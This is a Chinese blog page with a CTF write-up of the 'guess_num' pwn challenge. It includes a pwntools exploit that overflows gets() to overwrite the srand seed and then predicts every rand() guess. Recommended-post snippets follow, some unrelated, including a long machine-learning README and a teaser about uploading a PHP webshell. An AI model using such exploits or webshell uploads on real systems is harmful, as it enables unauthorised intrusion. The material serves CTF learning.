攻防世界guess_num

攻防世界 xctf -Guess writeup 本题的解析官网上有,这里是一个自动化的脚本,完成的是自动上传一个ant.jpg的文件(ant.jpg是一个ant.zip压缩包重命名的文件,里面是一个ant.php的一句话木马)。运行返回的是在web后台这个文件重命名后的文件的url。可通过zip伪协议访问这个木马。 这个脚本运行需要3个在linux下运行的脚本文件(因为php伪随机数的破解用了一些工具,还有一些php代码)。脚本文件有:猜解随... 阅读详情

题目

一点信息:猜数字

虚拟机里checksec

64位程序,canary/nx/pie保护全开

ida里

猜随机数,猜正确了就有flag

先了解了解两个函数

rand()             srand()

rand()函数会生成随机数,但这个随机数并不是真的随机,而是有规律的随机,用rand()函数之前,可以使用srand()函数设置随机数种子,如果没有设置随机数种子,rand()函数在调用时,自动设计随机数种子为1。

既然他用这个函数让我们猜数字,我们可以以毒攻毒,也用这个函数来猜,猜对了拿到flag

(算是脚本编写思路吧)

溢出长度0x30-0x10

exp

from pwn import*
from ctypes import*  //需要引入函数库
elf=ELF('./num')
p=process('./num')
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

payload=b'a'*(0x30-0x10)+p64(1)
p.sendlineafter('name:',payload)

for i in range(10):
	p.sendlineafter('number:',str(libc.rand()%6+1))    //以毒攻毒之处

p.interactive()

 

成功打通 

CTF|栈溢出guess num 练习及知识点总结 CTF|栈溢出题目guess_num 练习及知识点总结 博客主要记录博主做的一栈溢出题目和所涉及到的知识点的总结 . 题目 将得到的文件拖入64位IDA中F5反编译得到伪代码 观察伪代码 得到如下信息: 定义char型 v9 让你输入内容,用gets()函数获取你输入的值,但是没有做限制 将v6 = v8就success! 实现success!之后可以进入sub-C3E函数,即可得到flag! 其中代码涉及到两个特殊的函数 关于两个函数的知识点如下: rand()函数用来产生随机数,但是,ran. 阅读详情

相关推荐

攻防世界 guess_num

1.题目 2.Ida反汇编 3.根据上图代码,分析基本流程。 流程:随机种子生成随机数,对比随机数和输入的数字,连续正确10次就成功。 初看好像不可能成功,怎么可能猜对随机数十次?其实srand生成的随机数是伪随机数。其实就是一个很长的数字字符串,然后根据种子定位到这个字符串某个点,然后每次生成随机数就读一个数字字符。也就是说,如果我们的种子是一样的,相同的随机次序我们得到的随机数是一样的。 于是,现在的问题变成了我们怎么得到程序的种子?或者我们是否可以修改程序的种子? 查看c源码.

1224

[攻防世界]guess_num

目录步骤:查保护:NX保护:PIE保护:Stack保护:RELRO保护:寻找逻辑:脚本:checksec 文件名NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。PIE全称是position-independent executable,中文解释为地址无关可执行文件,该技术是一个针对代码段(.text)、数据段(.data)、未初始化全局

逆向萌新的博客 902

Guess-The-Number:这是一个允许用户猜测数字的应用程序!

猜数字 概述 该应用程序允许用户猜测数字! 应用特色 要在终端中运行游戏,请输入:python game.py 猜一个介于1到100之间的数字 如果您弄错了,那么您会得到一个提示 技术领域 Python,终端 执照 作者 卡莱布·沙尼(Caleb Chaney)

C语言实现猜数字游戏(虚拟登陆版)

登陆成功后,即可进行猜数字游戏(从根据提示从键盘输入整数,进行猜测。)猜对后,如果继续游戏,则再次输入y,重复上述操作。如果使用二分法进行游戏,来猜100以内的随机数字,最多7次就能才对该随机数字。通过switch语句判断是否进行游戏,其中游戏函数game()是在登陆函数fun_2()末尾调用的。1、首先需要让用户确认是否进行游戏,输入y进行游戏,输入n退出游戏。2、进入游戏后,要求用户登录,输入用户名和验证码。

m0_74305675的博客 1182

多孔材料吸附性质模拟程序RASPA的离线和在线安装方法

RASPA-2.0是今年美国西北大学教授Randall Q. Snurr等人开发的针对于MC,MD,分子力学优化等用途的程序,相比于之前开发的MUSIC软件,RASPA的功能更加齐全,操作更加简便,可以在MC的吸附过程中考虑骨架的柔性,也可以想MUSIC一样先制作积分格点(music中的map)。 A、离线安装(centos为例): (1)、安装之前要检查一下是否装了automake,

youyno的博客 1万+

大华/华睿工业相机(摄像头)链接电脑,并用OpenCV打开

睿科是大华旗下机器视觉子公司,现在工业相机一般是华睿在产,要下载驱动程序,要到华睿官网哪里下载。由于我的电脑没有摄像头,所以摄像头序列化为0,电脑的第一个摄像头默认为0,序列号是0,1,2,3……,你是什么接口连接的就选择什么, 建议直接全选。我这里选择第二个,下载后点击安装,的你要点击识别右侧设置,设置。这个过程很简单,故不赘述。打开你的设备会在右边显示。

qq_48050838的博客 1万+

[攻防世界 pwn]——guess_num

[攻防世界 pwn]——guess_num15 [攻防世界 pwn]——level0 题目地址: https://adworld.xctf.org.cn/ 题目: checksec一下,开启了NX, canary, PIE 好家伙 在IDA中发现 我们只要利用gets函数将seed[0]给覆盖掉就可以了, 间距为0x20 用C语言写个小demo #include <stdio.h> #include <stdlib.h> int main() { int n, b;

Y_peak的博客 1629

Windows 环境下 OpenClaw 的安装与千问大模型配置

为了不占用 C 盘空间,重装系统也不丢失配置,本文详细记录了如何将 OpenClaw 安装在非系统盘,比如D 盘,并对接阿里云 通义千问大模型的全过程。主要是利用 NVM 和 npm 进行安装,方便后续一键升级,配置具有免费额度的Qwen API,这个只需要在阿里云百炼注册一个账号就能获得免费额度。

博客 6537

攻防世界-guess_num

查看保护 好家伙,不留活口(;´д`)ゞ IDA 逻辑很简单,输入名字后,程序会生成一个随机数种子,然后循环10次以下操作: 输入一个数,这个数和本次随机循环数值除以6的余数+1是否相等,相等则跳转到函数 sub_C3E() ,这里面直接有 system(“cat flag”); 分析 10次随机数必不能每次都对,所以得想办法绕过随机数或者修改随机数种子,让其种子固定则其生成的随机数也固定。 本体最有可能栈溢出的地方就是gets,gets获取输入存到v7,进入v7看看有没有漏洞: 可以看到v7下面就是s

qq_45771413的博客 673

Python实战:超分辨率图像质量评估全攻略——PSNR、SSIM、LPIPS与NIQE的代码实现与优化

本文详细介绍了在Python中实现超分辨率图像质量评估的完整方案,涵盖PSNR、SSIM、LPIPS和NIQE四大核心指标。通过模块化代码设计、多进程并行处理和GPU加速优化,帮助开发者构建高效、可扩展的评估系统,并提供了实战避坑指南与结果解读方法。

weixin_29053073的博客 475

Matlab实现PSO-TCN-LSTM-Attention粒子群算法优化时间卷积长短期记忆神经网络融合注意力机制多变量时间序列预测的详细项目实例

这些数据包含了随时间变化她动态信息,具有显著她趋势她、周期她和季节她特征。该模型她核心优势在她其能够自适应地学习数据中她多层次时序信息,捕捉时间序列中她长短期依赖关系,从而提高预测她准确她和可靠她。本项目旨在实她一个基她PTO-TCN-LTTM-TFSttfntion她多变量时间序列预测模型,通过粒子群优化算法优化时间卷积长短期记忆神经网络,并融合注意力机制,提高模型她预测精度和稳定她。本项目模型她实她分为多个阶段,首先她数据预处理,接着她PTO优化,然后她TCN和LTTM网络她构建她训练。

优质创作者: 人工智能技术领域 对于有一定基础的 MATLAB和Python带具体需求都可以详谈 MATLAB和Python可以提供代码调试服务加油 谢谢 你的鼓励是我前行的动力 谢谢支持 加油 谢谢 1080

攻防世界 适合做桌面_攻防世界 - pwn - guess_num

攻防世界 - pwn - guess_num攻防世界 - pwn - guess_numA、程序分析1、分析程序发现连续输入密码正确10次即可获取flag2、gets(0,rbp-30h)srand(rbp-10h)通过输入用户名可以覆盖srand的种子,srand rand为伪随机,种子一样时随机数相同3、进行随机数比较时 额外进行了加密B、分析利用1、分析加密算法2、通过用户名覆盖rbp-10...

weixin_29097457的博客 171

EMI硬件抑制八项工程对策:从回路面积到谐振规避

电磁干扰(EMI)是电子系统可靠性与EMC合规性的核心挑战,其本质源于高频电流回路产生的辐射与耦合效应。理解回路面积、共模/差模噪声、阻抗匹配等基础原理,是实施有效抑制的前提。技术价值体现在降低辐射发射(RE)、传导发射(CE)超标风险,提升产品一次通过率与长期稳定性。典型应用场景包括开关电源设计、高速数字接口布局、工业嵌入式设备及医疗电子等对EMC要求严苛的领域。本文聚焦可落地的硬件级对策,涵盖回路面积控制、屏蔽策略、变压器漏磁管理、双线传输与阻抗匹配等关键实践,深度融合电流回路物理模型与PCB工程实现。

weixin_35019679的博客 85

【攻防世界pwn-guess_num】

下载文件后,首先检查保护 开启了金丝雀,不能溢出到返回地址 将文件拖入ida阅读 代码逻辑是:首先输入name(赋值给v7),接着使用seed[0]作为种子生成10个随机数,每一轮都要猜对,10轮后进入sub_C3E()函数,我们进入这个函数后,发现是直接执行cat flag。 回头看main函数,发现v7和seed[0]都在栈上,且给v7赋值时使用的gets()方法 所以确定攻击思路:在输入name时,输入足够长的数据,覆盖seed[0],然后自己模拟C语言的rand()方法生...

a_silly_coder的博客 1840

UDS19 03 和19 04服务--答疑

UDS 1903服务(reportDTCSnapshotIdentification)用于获取ECU中存储的故障码快照标识信息。该服务返回DTC编号及对应的快照记录编号,为后续使用1904服务读取详细快照数据提供依据。请求报文为"1903",响应报文格式为"5903"后接DTC编号和记录编号列表。该服务需在非默认会话模式下执行,且清除诊断信息会删除相关快照记录。1903服务是读取DTC快照数据的基础步骤,可帮助确定ECU中存储的故障快照情况。

汽车软件开发 456

CodeBuddy Code CLI 常用工作流:17个实战场景全解析

CodeBuddy Code CLI 17个实战场景解析 本文详细介绍了CodeBuddy Code CLI在17个开发场景中的高效应用,包括: 快速理解新代码库 高效修复Bug 安全重构代码 使用子代理系统处理专业任务 Plan Mode安全分析 自动化测试处理 创建合并请求 文档生成与维护 图片内容分析 文件目录快速引用 每个场景都配有具体命令示例和最佳实践,帮助开发者提升工作效率。

简简单单Onlinezuozuo 1079

攻防世界pwn【guess_num】

flag为:cyberpeace{08b9d2e122fdcc5cfd4c7955eb732ae1}看这里,一开始还以为是我输入一个数,可以看到它会回显的数字;0x30-0x10;需要0x20个字符来让它溢出;使用ida64打开;进入gets漏洞点看;

SUOYE_GUANXING的博客 440

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

攻防世界PWN-guess_num

题目:guess_num checksec查看详情 64位以及各种防护全开 运行一下逻辑,的确是一个猜数游戏 进64位IDA 反编译main函数 出源码 摘代码 __int64 __fastcall main(__int64 a1, char **a2, char **a3) { FILE *v3; // rdi@1 __int64 v4; // rax@1 const char *v5; // rdi@1 __int64 result; // rax@7 __in

Deeeelete的博客 892

迈瑞BS系列全自动生化分析仪LIS协议接口手册(内含HL7和ASTM)

迈瑞BS系列全自动生化分析仪LIS协议接口手册,内含HL7和ASTM)

廖雪峰Python教程[完整版]

廖雪峰的python教程整理的,已经排好版了,而且还是完整的,适合小白

攻防世界 - pwn - guess_num

A、程序分析 1、 分析程序发现连续输入密码正确10次即可获取flag 2、 gets(0,rbp-30h) srand(rbp-10h) 通过输入用户名可以覆盖srand的种子,srand rand为伪随机,种子一样时随机数相同 3、 ...

qq726232111的博客 1237

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

攻防世界-guess_num-Writeup

guess_num [collapse title=“展开查看详情” status=“false”] 考察点:利用栈溢出固定随机数 __int64 __fastcall main(__int64 a1, char **a2, char **a3) { int v4; // [rsp+4h] [rbp-3Ch] int i; // [rsp+8h] [rbp-38h] int v6; // [rsp+Ch] [rbp-34h] char v7; // [rsp+10h] [rbp-30h]

SkYe's Blog 572

(wp)攻防世界PWN——guess_num

转载自个人博客0pt1mus 好久没有做PWN题了,今天开始做一下,把之前的东西捡起来,同时对之前有些知识点也有了新的认识,新的理解。 分析 首先将附件下载下来,同时通过nc连接一下,了解一下大致的流程。 可以看到,先让我们输入用户名,然后输入猜的的数字。 然后常规操作,通过file和checksec工具判断文件类型和开启了那些防护措施。 可以知道这是一个64位的linux程序,并且开启了部分...

0pt1mus 1416

攻防世界 pwn 练习区 guess_num

题目描述:菜鸡在玩一个猜数字的游戏,但他无论如何都银不了,你能帮助他么 ** 0、下载附件,使用checksec查看保护情况和文件位数,尝试打开文件 ** 64位可执行文件,开启了canary,NX,PIE和部分RELRO保护 ** 1、使用IDA64 Pro打开文件 ** 查看main函数,是一个猜数游戏,通过srand()函数初始化rand()函数的初始值,seed[0]作为种子,然后进行10轮猜数,全部正确之后,执行sub_C3E()函数。 查看sub_C3E()函数: 执行后直接得到flag

ChaoYue_miku的博客 1011
上一篇: 攻防世界PWN--CGfsb
下一篇: 攻防世界PWN int_overflow
Rt1Text
博客等级 码龄5年 14粉丝 53原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值